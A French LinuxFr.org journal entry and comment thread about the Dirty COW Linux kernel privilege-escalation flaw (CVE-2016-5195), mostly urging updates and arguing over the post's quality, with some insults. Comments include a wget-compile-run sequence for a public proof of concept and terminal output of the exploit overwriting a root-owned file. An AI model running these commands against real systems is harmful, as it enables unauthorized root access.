Journal CVE-2016-5195 Dirty COW

Posté par  (site web personnel, Mastodon) . Licence CC By‑SA.
Étiquettes :
44
21
oct.
2016

On va faire très court, il ne me semble pas avoir vu passer d’information sur LinuxFr.org au sujet de la très sérieuse faille du noyau Linux de la semaine, qui existe depuis 9 ans et qui a reçu le joli nom de Dirty COW. C’est la mode les petits noms pour les failles, un peu comme les noms pour les ouragans…

Mettez à jour votre distro, c’est le moment !

N. D. M. : voir les liens supplémentaires dans ce commentaire.

  • # .

    Posté par  (site web personnel) . Évalué à -10.

    On va faire très court

    La prochaine fois si c'est pour faire tellement court que tu fournis moins d'informations que les articles merdiques sensationnels grand publics que tu références, fais encore plus court, envoie rien.

    il ne me semble pas avoir vu passer d'information sur linuxfr

    Bah moi même après la lecture de ce torchnal j'ai pas le sentiment d'avoir vu passer d'information non plus. Si c'est pour savoir "faut mettre à jour" merci mais apt-dnf-truc-cron fait le taff plus efficacement.

    au sujet de la très sèrieuse faille du noyau linux de la semaine et qui existe depuis 9 ans

    À part le fait que 01net a titré "OMAILLEGAUDE LINUX EST TROUÉ" quels sont les arguments que tu proposes pour appuyer ce "très sérieuse" ? Mon serveur, très exposé d'un certain point de vue (serveur DNS autoritaire donc potentiellement contacté par toute machine, etc), et pas du tout d'un autre (un seul utilisateur : moi) est-il exposé ?

    et qui a reçu le joli nom de dirtycow. C'est la mode les petits noms pour les failles, un peu comme les noms pour les ouragans…

    The credit for the first usage of personal names for weather systems is generally given to the Queensland Government Meteorologist Clement Wragge, who named systems between 1887 and 1907.

    Dans la mesure où le concept de mode a été inventé pour pouvoir vendre la même merde 1, 2, 3 4 fois par an aux bourgeoises parisiennes oisives, je vois pas bien le rapport avec une nomenclature scientifique mise en place il y a plus d'un siècle.

    Au plaisir de ne pas te relire.

    • [^] # Re: .

      Posté par  (site web personnel, Mastodon) . Évalué à 10.

      J'ai fait vite parce ce que je pensais, et je pense toujours que cela a de l'importance; Et… il est tard.
      Que l'information soit relayée par des sites pourris n'empêche pas le fait que la faille du noyau linux est importante car il est démontré qu'elle est exploitée.
      Je compte sur l'intelligence des lecteurs pour faire leur propre opinion. Y a t'il un moyen encore plus court que le journal pour ce genre de notification ?
      Comme je ne poste pratiquement jamais je ne suis pas rompu à cet exercice, mais je peux survivre à la vindicte de personnes habituées à l'exercice, l'important étant que la communauté soit informée.
      Je continue à considérer qu'une information partielle ou de mauvaise qualité sur ce genre de sujet est meilleure qu'une absence d'information.
      J'essairai de faire mieux la prochaine fois.

      • [^] # Re: .

        Posté par  (site web personnel) . Évalué à -10.

        J'ai fait vite parce ce que je pensais, et je pense toujours que cela a de l'importance; Et… il est tard.

        Quand Kim Kardashian a été cambriolée à Paris il y a surement eu des gens qui ont pensé que c'était important et qu'il était tard. Bon on a pas eu de journal, je suis déception.

        Que l'information soit relayée par des sites pourris n'empêche pas le fait que la faille du noyau linux est importante car il est démontré qu'elle est exploitée.

        Aucune explication d'exploit ni ici ni sur Nextinpact par exemple. On a droit à un Selon lui, son code d’exploitation, compilé avec GCC 4.8.5, n’a pas besoin de plus de cinq secondes pour obtenir les droits root sur une machine.
        Purement sensationnaliste : soit les cinq secondes sont censées montrer qu'on se fait vite avoir (la faille implique un humain (social engineering)) et alors cette métrique n'a en fait aucun sens (ça veut dire que Mme Michu ne lit pas un message d'alerte, ah bon ? je savais pas) soit c'est du sensationnalisme à base de rendez-vous compte, un programme qui se lance aussi vite qu'Office suffit mais alors si un truc automatisé prend 5 fucking seconds pour s'exécuter, alors sur DLFP j'attends au moins un commentaire du style lol c du java ?.
        Je suis assez déçu par Nextinpact au passage. Ils me semblaient avoir un meilleur niveau en vulgarisation/technicité.

        Je compte sur l'intelligence des lecteurs pour faire leur propre opinion.

        Mais putain il n'y a aucune information à part mon Dieu Linux est troué courrez pour vos vies!!?1!

        Y a t'il un moyen encore plus court que le journal pour ce genre de notification ?

        Bah visiblement tu sais pas lire donc je le remets : Si c'est pour savoir "faut mettre à jour" merci mais apt-dnf-truc-cron fait le taff plus efficacement.

        Je continue à considérer qu'une information partielle ou de mauvaise qualité sur ce genre de sujet est meilleure qu'une absence d'information.

        Le contraire a tellement été démontré.

        • [^] # Re: .

          Posté par  (site web personnel) . Évalué à 9.

          La faille utilise une race condition, donc le fait qu'elle soit exploitable en 5 secondes n'a rien de sensationnaliste, c'est clairement une info pertinente sur sa gravité.

          nb : j'ai eu cette information en suivant le premier lien du journal, donc visiblement il y avait de l'information dedans quand même …

    • [^] # Re: .

      Posté par  . Évalué à 10. Dernière modification le 22 octobre 2016 à 00:28.

      @Sufflope : il ne faut pas être aigri de la vie comme ça, tu vas te faire du mal à force…

      Il est sympa @lhardy philippe il prévient les lecteurs de linuxfr qui auraient pu passer à côté.

      • [^] # Re: .

        Posté par  . Évalué à 3.

        il prévient les lecteurs de linuxfr qui auraient pu passer à côté.

        C'est ton avis. Et peut-être celui d'une bonne partie des gens.
        Son avis à lui, qu'il explique très clairement (et que tu n'as pourtant pas compris), est que ce journal ne prévient justement de rien du tout. Car après l'avoir lu tu n'en sais strictement pas plus qu'avant. Sauf que tu ressens plus ou moins confusément qu'il serait bien de vérifier si c'est vrai/important/urgent. Bref, rien de plus que n'importe quel buzz que déferle à la pelle quotidiennement. A la différence que sur linuxfr on a tendance à y accorder plus de crédit.

        En gros l'auteur du journal est tombé sur un truc qu'il estime important, qu'il n'a même pas lu (sinon il aurait fait un court résumé non ?). Donc au final l'information n'a strictement aucune valeur.

        Ou alors l'auteur du journal est tombé sur un truc qu'il estime important, qu'il a lu, mais n'a même pas pris la peine d'écrire 2 lignes d'explication. Encore une fois c'est une absence d'information.

        Je suis étonné que sur un site comme linuxfr on en soit à « expliquer » les bases pour des choses aussi simples et évidentes.

        • [^] # Re: .

          Posté par  (site web personnel, Mastodon) . Évalué à 10.

          L'auteur a pris connaissance de la faille à son travail auprès d'un collègues.
          L'auteur a participé à la rencontre accès libre de linux-azur et c'est à son retour qu'il a pris le temps de vérifier l'information.
          La faille paraissant suffisamment sérieuse aux yeux des compétences professionnelles de l'auteur, l'auteur a procédé à la mise à jour du serveur de linux-azur et a décidé entre plusieurs activités de poster rapidement l'information sur linuxfr.
          Suite à quoi il a répondu à divers mail fait un peut de travail administratif pour préparer la rencontre accès libre du lendemain matin.
          A un moment donné cet auteur a lu le commentaire et y a répondu réalisant l'effectif manque de qualité de son post, à la suite de quoi il a posté un commentaire avec des liens plus probants.

          • Modérateurs, si vous vous demandiez il y a quelques temps ce qu'il faut faire pour qu'il y ait plus de contributeurs à DLFP, étudiez ce thread

          Ma question rapide : comment on édite son journal ?

          • [^] # Re: .

            Posté par  (site web personnel) . Évalué à 10.

            Modérateurs, si vous vous demandiez il y a quelques temps ce qu'il faut faire pour qu'il y ait plus de contributeurs à DLFP, étudiez ce thread

            Un premier commentaire rentre-dedans se plaignant d'un manque mais ne faisant rien pour le combler, se contentant de prendre à partie l'auteur. Heureusement noté très négativement. Ça me fait penser à la discussion sur Ryzom et les fonctions de hachage… Au passage vu les contenus précédents de celui qui jette la première pierre, ça devrait l'inciter à plus de modestie et de retenue compréhensive.

            Un autre commentaire s'étonnant qu'il faille sans cesse expliquer et réexpliquer. Ben oui c'est le principe des FAQ, ce qui arrive quand les gens vieillissent et que des nouveaux arrivent, quand des visiteurs occasionnels rencontrent des assidus, quand des utilisateurs croisent des adminsys, etc. Ou quand les gens vont une erreur, ça arrive, ce n'est pas dramatique, c'est facile à corriger, etc.

            Ma question rapide : comment on édite son journal ?

            Seul un modérateur peut le faire, j'ai ajouté une NdM pour pointer sur le commentaire.

            Alors oui ce journal n'est pas parfait, le prochain sera peut-être meilleur, et merci pour les commentaires constructifs des autres fils de discussion. Bref ça fait plaisir d'y voir une communauté accueillante, constructive, bienveillante, etc. Utopie ?

    • [^] # Re: .

      Posté par  . Évalué à 10.

      La prochaine fois économise toi la peine d'écrire un commentaire nuisible.

    • [^] # Re: .

      Posté par  . Évalué à -10.

      Connard qui pète plus haut que son cul parce qu'il connaît trois commandes, va mourir va…

  • # De meilleurs liens ( font de meilleurs amis )

    Posté par  (site web personnel, Mastodon) . Évalué à 10.

    Redhat considère la faille comme importante :
    https://access.redhat.com/security/vulnerabilities/2706661

    Il y a des preuves d'exploitabilité du bug (proof of concept) ici
    https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
    ( dont cowroot qui donne à utilisateur non root les droits root en réécrivant /etc/passwd ou un binaire suid. )

    Pour debian : liste des paquets fournissant le correctif :
    https://security-tracker.debian.org/tracker/CVE-2016-5195

    remarque : puisqu'il s'agit du noyau il faut rebooter pour activer le fix.

    • [^] # Re: De meilleurs liens ( font de meilleurs amis )

      Posté par  . Évalué à 6.

      Redhat considère la faille comme importante

      J'espère bien, ça veut quand même dire que n'importe quel faille dans un logiciel exposé sur le net permet l'accès root. Ça veut dire que n'importe quel service qui permet à des utilisateurs d'exécuter du code (par exemple un hébergeur) leur donne un accès root.

      « Rappelez-vous toujours que si la Gestapo avait les moyens de vous faire parler, les politiciens ont, eux, les moyens de vous faire taire. » Coluche

    • [^] # Re: De meilleurs liens ( font de meilleurs amis )

      Posté par  . Évalué à 8.

      Il y a aussi cette super vidéo qui explique le pourquoi du comment en détail : https://youtu.be/kEsshExn7aE

    • [^] # Re: De meilleurs liens ( font de meilleurs amis )

      Posté par  (site web personnel) . Évalué à 4. Dernière modification le 23 octobre 2016 à 13:16.

      Oui et d'ailleurs il y a quelques trolls qui sont sortis du bois, en mode « bouh red hat c'est de la m**** ils n'ont toujours pas mis à disposition un correctif complet » J'avoue que je ne comprends pas ça non plus… La faille chez Red Hat est classée "importante" et c'est tout, pas "critical". Si quelqu'un pouvait expliquer pourquoi ce n'est que "important" alors que Debian, Ubuntu, et les autres grandes distribs ont distribuées immédiatement un correctif ?
      Je suis tout chamboulé par cette faille ..

      • [^] # Re: De meilleurs liens ( font de meilleurs amis )

        Posté par  . Évalué à 3.

        Je ne sais pas pourquoi c'est le cas ici en particulier, mais les distributions activent des options différentes dans le noyau, ce qui peut faire qu'une faille sera critique pour certains et moins pour d'autres parce qu'ils auront activé des options qui augmentent la sécurité et mitigent l'impact de la faille (typiquement selinux chez redhat), voir pas du tout si le code concerné n'est pas activé.

      • [^] # Re: De meilleurs liens ( font de meilleurs amis )

        Posté par  . Évalué à 6.

        La raison est problablement que ce n'est pas exploitable à distance.

        Et important-critical n'a probablement aucune incidence sur la vitesse à laquelle le patch sort.

        • [^] # Re: De meilleurs liens ( font de meilleurs amis )

          Posté par  . Évalué à 3. Dernière modification le 24 octobre 2016 à 06:17.

          La raison est problablement que ce n'est pas exploitable à distance.

          Oui mais ça augmente l’impact potentiel des failles exploitables à distances.

          Cela dit tu as probablement raison. Si une telle faille locale était taggée Critical, quel serait le niveau d’une faille de ce genre exploitable à distance ?

  • # Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel

    Posté par  . Évalué à 5.

    Vu sur http://dirtycow.ninja/ :

    This PoC is memory only and doesn't write anything on the filesystem. Beware, it triggers a kernel crash a few minutes.

     wget https://gist.githubusercontent.com/scumjr/17d91f20f73157c722ba2aea702985d2/raw/a37178567ca7b816a5c6f891080770feca5c74d7/dirtycow-mem.c
    gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
    ./dirtycow-mem
    

    Ça passe bien sous l'utilisateur « root », mais ça gèle la machine en quelques minutes.

  • # Exploitable sur CentOS 7

    Posté par  (site web personnel) . Évalué à 2. Dernière modification le 22 octobre 2016 à 11:09.

    En tout cas, sur CentOS 7, ça fonctionne :

        [xate@xate-test ~]$ cat /etc/redhat-release 
        CentOS Linux release 7.2.1511 (Core) 
        [xate@xate-test ~]$ uname -a
        Linux xate-test.nfrance.com 3.10.0-327.28.2.el7.x86_64 #1 SMP Wed Aug 3 11:11:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
    
        [xate@xate-test ~]$ sudo echo 'test de la faille dirtycow' > /tmp/plop
        [xate@xate-test ~]$ chmod 0404  /tmp/plop
        [xate@xate-test ~]$ ls -ltrh /tmp/plop
        -r-----r--. 1 xate xate 27 22 oct.  13:47 /tmp/plop
        [xate@xate-test ~]$ cat /tmp/plop
        test de la faille dirtycow
        [xate@xate-test ~]$ gcc -pthread dirtyc0w.c -o dirtyc0w
        [xate@xate-test ~]$ ./dirtyc0w /tmp/plop m00000000000000000
        mmap 7f661fa2f000
    
        ^C
        [xate@xate-test ~]$ cat /tmp/plop 
        m00000000000000000dirtycow
        [xate@xate-test ~]$ 
    • [^] # Re: Exploitable sur CentOS 7

      Posté par  . Évalué à 10.

      Ton test ne prouve rien, puisque tu va écrire dans un fichier qui t'appartient (cf le résultat de ton ls -l)!

      Ton erreur c'est ça:

      sudo echo 'test de la faille dirtycow' > /tmp/plop

      ça ne sert à rien d'exécuter l'echo avec sudo, car la redirection est faite par ton shell courant, donc avec toi comme propriétaire (d'ailleurs sinon le chmod aurait échoué, puisque tu ne l'a pas exécuté avec sudo).

      • [^] # Re: Exploitable sur CentOS 7

        Posté par  (site web personnel) . Évalué à 7. Dernière modification le 22 octobre 2016 à 15:08.

        Mais je n'avais plus les droits d'écriture sur le fichier.

        Ceci dit, si ça lève un doute, je recommence sur un fichier appartenant à root :

        [xate@xate-test ~]$ echo "test bis de dirtycow" > /tmp/plop2
        [xate@xate-test ~]$ chmod 0404 /tmp/plop2
        [xate@xate-test ~]$ sudo chown root:root /tmp/plop2
        [xate@xate-test ~]$ cat /tmp/plop2
        test bis de dirtycow
        [xate@xate-test ~]$ ls -ltrh /tmp/plop2
        -r-----r--. 1 root root 21 22 oct.  18:27 /tmp/plop2
        [xate@xate-test ~]$ ./dirtyc0w /tmp/plop2 newuser:newpassd0
        mmap 7f1f28cfc000
        [xate@xate-test ~]$ ls -ltrh
        -r-----r--. 1 root root 21 22 oct.  18:27 /tmp/plop2
        [xate@xate-test ~]$ cat /tmp/plop2
        newuser:newpassd0own
        [xate@xate-test ~]$
  • # Le commit de fix dans le kernel

    Posté par  . Évalué à 6.

    Le fix coté kernel peut etre trouvé ici avec une rapide explication de linus torvald :
    https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

    • [^] # Re: Le commit de fix dans le kernel

      Posté par  . Évalué à -1.

      Tu as osé poster un lien vers morceau de code contenant un « goto » ? On va avoir droit à un énorme troll par ceux qui récitent leur cours de dev sans l'avoir compris…

      Membre de l'april, et vous ? https://april.org/adherer -- Infini, l'internet libre et non commercial : https://infini.fr

  • # merci pour l'info

    Posté par  (site web personnel) . Évalué à 1.

    merci pour l'info que j'avais découverte sur la liste linuxazur :-)
    j'ai passé le patch et j'ai rebooté tous les serveurs, dommage pour l'uptime

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.